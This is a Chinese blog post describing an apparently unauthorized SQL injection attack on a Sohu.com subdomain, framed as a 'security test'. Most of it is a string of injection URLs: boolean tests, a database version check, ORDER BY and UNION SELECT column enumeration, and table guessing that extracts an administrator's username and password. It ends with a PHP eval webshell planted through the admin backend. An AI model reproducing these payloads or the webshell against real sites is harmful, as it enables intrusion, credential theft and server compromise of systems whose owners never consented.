对Sohu.com的一次安全检测

SpringBoot+Vue+MySQL 高校学科竞赛平台 完整可运行版(源码+文档) 本项目基于SpringBoot+Vue+MySQL构建高校学科竞赛管理平台,覆盖学生、教师、领队教师、管理员四大角色,实现竞赛发布、报名、刷题、评分、公示等全流程闭环管理。系统架构清晰,技术主流,配套完整源码、数据库脚本、万字论文、开题报告、答辩PPT及部署文档,支持一键运行,适用于毕业设计、课程设计及院系二次开发,真正实现“开箱即用”。 阅读详情
最近学习MySQL注入,于是顺便就对Sohu.com做了一次小小的安全检测,看看它是否存在SQL注入漏洞。
去Sohu.com的主站看了一下,发现差不多都是静态页面,我只得放弃了在主站上找问题的想法。直接在Sohu.com的各个分站上浏览了一圈后发现,大部分网站采用的都是PHP脚本,也有少数用的是JSP脚本,根据经验我们知道,对于PHP构建的系统,一般后台数据库都是MySQL,就象ASP对应着 MSSQL一样。由于PHP的特性(PHP默认将传递的参数中的“'”等字符做了转换,所以对于字符类型的变量默认情况下很难注入),一般情况下我们注入的只能是数字类型的变量。根据平时注入的知识,我们知道id=XXX这样的形式在传递的参数时一般都是数字类型的变量,所以我们只要去测试那些php? id=XXX的连接就有可能找到漏洞!
测试
通过一番仔细的搜索,还真让我在“XXX.it.Sohu.com”上找到了一个存在问题的连接“ http://XXX.it.Sohu.com/book/serialize.php?id=86”
提交:“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=1/*”
返回正常。
然后提交:“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2/*”
返回没有信息。
空空的吧,这说明SQL语句的处理结果为空。
通过这两个URL我们可以猜测到漏洞是存在的,因为我们提交的“and 1=1”和“and 1=2”都被当作Sql语句执行了。既然如此,那么我们提交的其他语句也应该是可以执行的,这就是传说中的SQL注入……
因为PHP的特性,我们可以得知“id”是被当作数字来处理的。它并没有放到''之间,否则我们是无法成功的。以前遇到过一些别的情况,都是过滤了“Select”,在MySQL中这就等于宣告死刑。
既然漏洞是存在的,那我们就继续。首先探测数据库的类型和连接数据库的账户。如果权限比较高并且数据库和Web在同一台服务器上的话就可以免除猜测字段的痛苦了。提交:“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*”,返回正常。
解释一下:此语句是看数据库的版本是不是高于3的,因为3的ASCII是51。版本的第一个字符如果大于51自然就是4.0以上。MySQL4.0以上版本是支持Union查询的,这里结果为真,所以数据库可以支持Union查询。
既然支持Union查询,我们就先把此语句的字段给暴出来吧!这对于以后的操作非常有利。提交:“ http://XXX.it.Sohu.com/book/serialize.php?id=86 order by 10/*”,返回结果正常。看来字段是大于10个的。
继续提交:“ http://XXX.it.Sohu.com/book/serialize.php?id=86 order by 20/*”,结果依然正常返回。
提交:“ http://XXX.it.Sohu.com/book/serialize.php?id=86 order by 30/*”。结果到Order by 50的时候返回没有信息了。看来它是大于40,小于50的。
接着提交: http://XXX.it.Sohu.com/book/serialize.php?id=86 order by 45/*。终于猜测到字段是41左右了!这里说“左右”是因为有些字段是不能排序的,所以还需要我们用Union精确定位字段数字,提交:“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*”
成功了,哪些字段会在页面显示也是一目了然,现在让我们继续进行下去。
提交:“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*”
现在我们就完成了对数据库系统的探测。因为我们有可能不是Root权限,并且数据库服务器同Web服务器不在一台主机上。这样我们就没有File权限了,提交“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and (select count(*) from MySQL.user)>0/*
看来没有对MySQL的读取权限,这更使我确定权限不是Root。尽管不是Root,也不要气馁,让我们继续吧!在进一步猜测数据之前我们最好先找到数据后台。因为很多时候我们可以找到了管理员密码……却找不到地方登录。
在根目录下加上/admin和/manage/等后台常用地址,结果都返回404错误。猜测了几次终于在/book/目录下加上/admin时出现了403 Forbiden错误。总算找到地方了,然而登录页面死活也猜不出。
不过既然知道有个admin也不错,去Google里搜索:“admin site:Sohu.com”。
从Google我们得到了Sohu的另一分站的论坛。因为人具备惰性的,所以一般来说,分站的后台的特征就很可能是整个网站的特征。当我尝试访问“/book/admin/admuser.php”时奇迹果然出现了。
看来我们离成功非常近了,从这里,我们还可以获得一些重要的信息。查看源文件,我们可以发现登录表单名是name和password,这很容易推测出对方管理员表中的结构,下面继续注入。
提交: http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*结果返回错误,这说明不存在表admin。接着尝试admins和admin_user等,当提交:“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*”时返回成功。
现在可以确定有User表,那么它是不是管理员表?字段又是什么呢?继续提交:“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*”返回空信息的错误。
提交:“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*”。
……正常返回并且出来了一个密码,这应该是管理员表里第一个用户的密码。那么他的用户名是什么呢?我猜测了很多字段都返回错误。实在没有办法了,就输入一个ID,居然返回成功了!ID就是管理员的名字,提交:“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*”
看看,得到管理员的名字咯!激动地拿着管理员用户名和密码去后台。
现在该想想如何拿WebShell了,在后台发现有上传图片的地方,但上传PHP文件时会提示“不是图片文件”。继续在后台摸索,找到一个个生成PHP文件的功能,于是在里面插入了一句话的PHP后门”<? eval($_POST[a])?>”。
点“生成”之后就提示成功了。用一句话后门连上去。
脚本检测到此圆满完成。
总结
在得到WebShell后我上服务器上看了看,发现服务器的安全是做得不错,执行不了命令,并且基本上所有的目录除了我们刚才上传的目录之外都是不可写的,不过作为脚本测试,得到了WebShell也就算成功了吧!从这里也可以看出,小小的一个参数没有过滤就可以导致网站的沦陷。网站越大,参数越多,我们更加需要注意过滤方面的问题。欢迎大家到黑防论坛讨论,我的ID是剑心。
 
Halcon dyn_threshold详解 dyn_threshold 原型 dyn_threshold(OrigImage, ThresholdImage : RegionDynThresh : Offset, LightDark : ) 功能 利用局部阈值分割图像 参数列表 OrigImage (input_object):原始图像 ThresholdImage (input_object):处理后图像(一般采用滤波处理) RegionDynThresh (output_object):分割后区域 Offset (input_control):灰 阅读详情

相关推荐

OpenBullet2 学习研究2-Conditions条件之KeyCheck的使用

上一节我们学习了如何安装Openbullet2以及如何新建一个配置,最后我们再配置里面新建一个Http的请求块,帮助我们发送了第一个请请求。这一节我们来学习check块。当我们发送请求以后,请求返回的内容是否是我们想要的,或者请求发送正确没有,这个我们怎么判断呢?这个时候就要用到check块了。

959

网站性能测试基本指标

网站性能测试基本指标

MaNaiLing的博客 3232

win2016 php mysql_Windows Server 2016 IIS10.0+PHP(FastCGI)+MySQL环境搭建教程 | 系统运维...

准备篇一、环境说明:操作系统:Windows Server 2016PHP版本:php 7.1.0MySQL版本:MySQL 5.7.17.0二、相关软件下载:1、PHP下载地址:2、MySQL下载地址:3、Microsoft Visual C++ 2010 可再发行组件包(安装MySQL需要此插件)4、Visual C++ Redistributable for Visual Studio 20...

weixin_34794420的博客 1378

网站测试基本方法-12. 网站性能测试总结

1 引言<br />    性能测试与分析是软件开发过程中介于架构和调整的一个广泛并比较不容易理解的领域,更是一项较为复杂的活动。就像下棋游戏一样,有效的性能测试和分析只能在一个良好的计划策略和具备了对不可预料事件的处理能力的条件下顺利地完成。一个下棋高手赢得比赛靠的不仅仅是对游戏规则的认识,更是靠他的自己的能力和不断地专注于分析自己对手的实力来更加有效地利用和发挥规则的作用。同样一个优秀的性能测试和分析人员将要面对的是来自一个全新的应用程序和环境下带来的整个项目的挑战。本文简单介绍一下网站性能测试需要关注

刘辉的专栏 1万+

IMU卡尔曼滤波方法详细介绍

本文介绍了基于IMU和卡尔曼滤波的状态估计方法。系统采用9维状态向量(位置、速度、加速度计零偏),通过牛顿运动学建立状态方程,并利用外部位置观测进行校正。详细推导了状态转移矩阵和控制输入矩阵的形式,阐述了预测和更新的计算步骤。同时说明了过程噪声Q和观测噪声R的设置原则,其中Q反映模型不确定性,R取决于传感器精度。该方法可有效融合IMU测量与外部观测数据,实现位置、速度和偏置的联合估计。

haing2019的博客 757

知识图谱与人工智能本体论:构建机器认知的语义基石

本文探讨了知识图谱与人工智能本体论如何作为机器认知的语义基石,让AI从‘知道数据’迈向‘理解知识’。文章详细拆解了本体论的核心构件与构建方法,并阐述了从本体到知识图谱的实践路径,包括知识获取、融合、存储及推理应用,最终分析了其在智能搜索与专家系统等场景中带来的根本性重塑。

nginx7reverse的博客 910

6 网站性能测试

什么叫高性能的网站? 两个网站性能架构设计方案:A方案和B方案,A方案在小于100个并发用户访问时,每个请求的响应时间是1秒,当并发请求达到200的时候,请求的响应时间将骤增到10秒。B方案不管是100个并发用户访问还是200个并发用户访问,每个请求的响应时间都差不多是1.5秒。哪个方案的性能好?如果老板说“我们要改善网站的性能”,他指的是什么? 同类型的两个网站,X网站服务器平均每个请求的处理时间是500毫秒,Y网站服务 器平均每个请求的处理时间是1000毫秒,为什么用户却反映Y网站的速度快呢? .

water Wang 6348

Halcon形状模板匹配实战:inspect_shape_model参数优化指南

本文深入解析Halcon形状模板匹配中inspect_shape_model参数的优化技巧,涵盖NumLevels和Contrast参数的实战应用。通过具体案例展示如何平衡匹配速度与精度,帮助开发者高效调试形状模型,提升工业视觉检测的准确性和效率。

weixin_30342209的博客 618

手机应用推广必备发布渠道【安卓渠道汇】

或许您还在为应用的推广发愁,或许您一直都没有为自己辛苦开发的应用认真推广过一次~ 结果就可能是您的应用并没有为您带来满意的收入,所以有米现在就教您怎么样最给力地推广~ 只要您在以下应用发布渠道上传您的应用,您的推广则即可成功~收入即可提升~   ~~~应用推广必备发布渠道【安卓渠道汇】http://qudao.souapp.com~~~ 收录了上百个商店、市场

codingbuddy的专栏 1639

【S32K】S32K144入门笔记(4) Lin (Lin stack组件) 驱动超声波雷达实例

0. 引言 Lin这块是我一直没弄懂的部分。很多东西一知半解,当时感觉是硬凑了答案出来。 果然过标的时候出了问题,几个小伙伴帮忙一起刷夜也没搞定,好在标还是顺利过了,不然罪过大了。 之前做lin这块一直用的是linStack组件,这部分包含了协议栈部分,需要对lin的协议比较清楚和理解才好配置。 尤其是,图形界面配置完成后会生成一个ldf文件,这个文件很重要,所有的代码都是基于这个文件生成的,但是这个文件我确认没找到什么介绍资料,所以很多配置都是一点一点凑出来的,再实际验证的。 抓住这次写文档的机会,把当时

YoYo的桃子树 1万+

Camera | 瑞芯微rk3568平台MIPI-CSI驱动:从设备树到V4L2框架的完整链路解析

本文深入解析瑞芯微rk3568平台MIPI-CSI驱动的完整链路,从设备树配置到V4L2框架集成。详细介绍了rk3568的MIPI-CSI驱动架构、设备树关键节点布局、驱动初始化流程及数据流路径,帮助开发者快速掌握摄像头控制器的调试与优化技巧,实现稳定的视频采集系统。

weixin_28703489的博客 291

Docker Compose:搭建本地多服务开发环境

从一个 Java API、PostgreSQL 和 Redis 开始,配置服务名、端口、环境变量、健康检查、数据卷和依赖关系。理解 Compose 文件如何被解析、项目如何隔离,以及哪些数据不能依赖“重建容器”保留,能够把个人开发环境整理成团队可复用的启动入口。

m0_62221377的博客 475

使用ChatGPT工具阅读文献的实战教程

本文介绍核心内容为使用ChatGPT工具阅读文献,希望对学习和使用ChatGPT的同学们有所帮助。为了兼顾质量和速度,本专栏的更新频率为一周一到两更。 文章目录 1. 前言 2. 实战教程 2.1 下载工具并登录 2.2 提取文献中的关键信息

herosunly的博客 15万+

AI全栈实战 | 3.9-01 爬虫入门:requests 加 BeautifulSoup 三分钟跑通,但 90% 的人栽在这 4 个“礼貌“问题上

⚠️:本文内容仅用于。请遵守目标站点的服务条款与相关法律法规,不得对目标服务造成负担,不得采集、传播个人隐私数据。技术是中性的,边界在你手里。爬虫的入门技术(requests 发请求 + BeautifulSoup 解析)三分钟就能学会。真正区分"会用爬虫"和"会做爬虫的人"的,是这篇我们跑通"请求→解析→存储"的最小闭环,然后重点把"合规与礼貌"这根弦给你绷上。

源码获取 | 运行部署 | 定制二开修改,如果回复不及时请耐心等待,请见谅。 429

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

【基于 WebSocket 的多用户网页五子棋】—— 数据管理模块

但行好事,莫问前程

qq_42996461的博客 247

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

C++算法(七)

C++ stack算法题和一些客观题

2503_94479566的博客 378

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

OpenClaw 深度调查:把 AI 助手做成你自己的控制平面

对 openclaw/openclaw 的完整技术尽调:Gateway 架构、Agent 运行时、工具与沙箱、30 个消息通道、181 个插件、安全信任边界、工程代价与采用建议。17 章 / 10 张图,全部数字标注口径,数据截至 2026-10-31。

厚积薄发 280

IDEA 简介:从零认识 IntelliJ IDEA

IDEA 全称,是由 JetBrains 公司开发的一款主流 Java 集成开发环境(IDE)。它集代码编辑、编译、调试、测试、版本控制、构建管理等功能于一体,被大量 Java 开发者视为日常开发的首选工具。所谓 IDE(Integrated Development Environment,集成开发环境),就是把写代码所需的各类工具整合到同一个界面中。相比只用文本编辑器加命令行编译,IDE 能显著减少重复操作,让开发者把精力集中在业务逻辑上。

ztI10的博客 175

TransactionInactiveError:await 之后事务已经不活跃了

TransactionInactiveError 出现于 IndexedDB 事务已结束(非 active 状态)时调用 put、get 等操作。常见于 await 后或 setTimeout 中执行请求,因任务已完成,事务已提交或进入 finished 状态。请求必须在创建事务的同一任务中挂起,否则无效。解决方法:在 onsuccess 回调内同步发起后续操作,或提前将所有请求挂入事务。避免在异步上下文中使用事务操作,确保请求在事务活跃期内完成。

qq_40822000的博客 158

云计算课程小组PPT汇报任务书

36人分为6组,每组6人;形式:生活案例调研 + 理论解读;汇报时长7‑9min;PPT建议10‑14页。

Michelle8023的博客 204

软件项目交付时,源代码之外还应该交付哪些技术资料?

软件项目交付时,除可运行程序外,还应核对源代码、数据库结构、接口文档、部署运维、测试验收和账号资产。本文从实际交付环节拆解完整资料清单,并说明合同如何约定交付范围、知识产权与维护边界。

chengduyoushu的博客 299

大表 ALTER TABLE 怎么做?NineData OnlineDDL 配置与执行实践

介绍NineData OnlineDDL大表变更实践,涵盖执行策略、切表控制、拷贝批次与可视化进度追踪。

dbasenewbie的博客 294

Axum 初步入门学习笔记

)自定义错误实现后,可以直接作为Result的ErrAxum 是一个构建在 Tokio、Tower、Hyper 之上的 Rust Web 框架,核心能力是:Router 路由、Extractor 提取器、Tower 中间件、IntoResponse 响应机制、State 共享状态。那张分层架构图是“地图”不是“说明书”:它帮你建立全局观,但 Service、Repository、数据库、Redis、MQ 都是你自己在 Handler 内部调用的业务/基础设施层,不是 Axum 自带的。

weixin_43219667的博客 169

MySQL报Too many open files?句柄耗尽的排查与参数配置

文章讲清 max_connections 与 open_files_limit 两个额度、句柄被谁占走、分区表为什么最容易踩,给出从 error log 到 /proc/pid/limits 的定位顺序与句柄预算算法。

「一个在数据库赛道上边学边分享的学妹」——聚焦国产数据库/信创方向、分享学习笔记、踩坑经验和行业观察。 327

SQL Server 数据库双备份:简化配置,兼顾本地留存与异机归档

本文针对中小企业SQLServer数据库备份难题,提出简化配置与本地+异机双副本方案。传统原生备份依赖手动脚本,存在配置复杂、传输易中断、日志分散、静默失败等问题。推荐使用图形化工具实现备份、本地留存与异机同步一体化管理,支持断点续传、加密传输、自动清理与版本控制,降低运维负担。双副本策略提升数据安全性,本地快速恢复,异地防硬件故障。建议定期验证恢复流程,确保备份可用性。

2501_93776716的博客 279

Redis 入门详解:核心特性、重要文件与全局命令实战

本文系统介绍了Redis的核心特性、重要文件及全局命令。Redis凭借内存存储、C语言实现和单线程设计,具备极高的读写性能;支持持久化(RDB/AOF)、主从复制与集群架构,适用于缓存、排行榜、计数器等场景,但不适合存储海量冷数据。文中还解析了常见面试题,如为何快速、单线程原理、持久化机制、KEYS *禁用原因及过期键处理策略,强调其在高并发场景下的优势与局限。

2303_77004089的博客 205
上一篇: 安全管理策略是企业寻求安全之道
下一篇: 解析arp病毒背后利用的Javascript技术
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值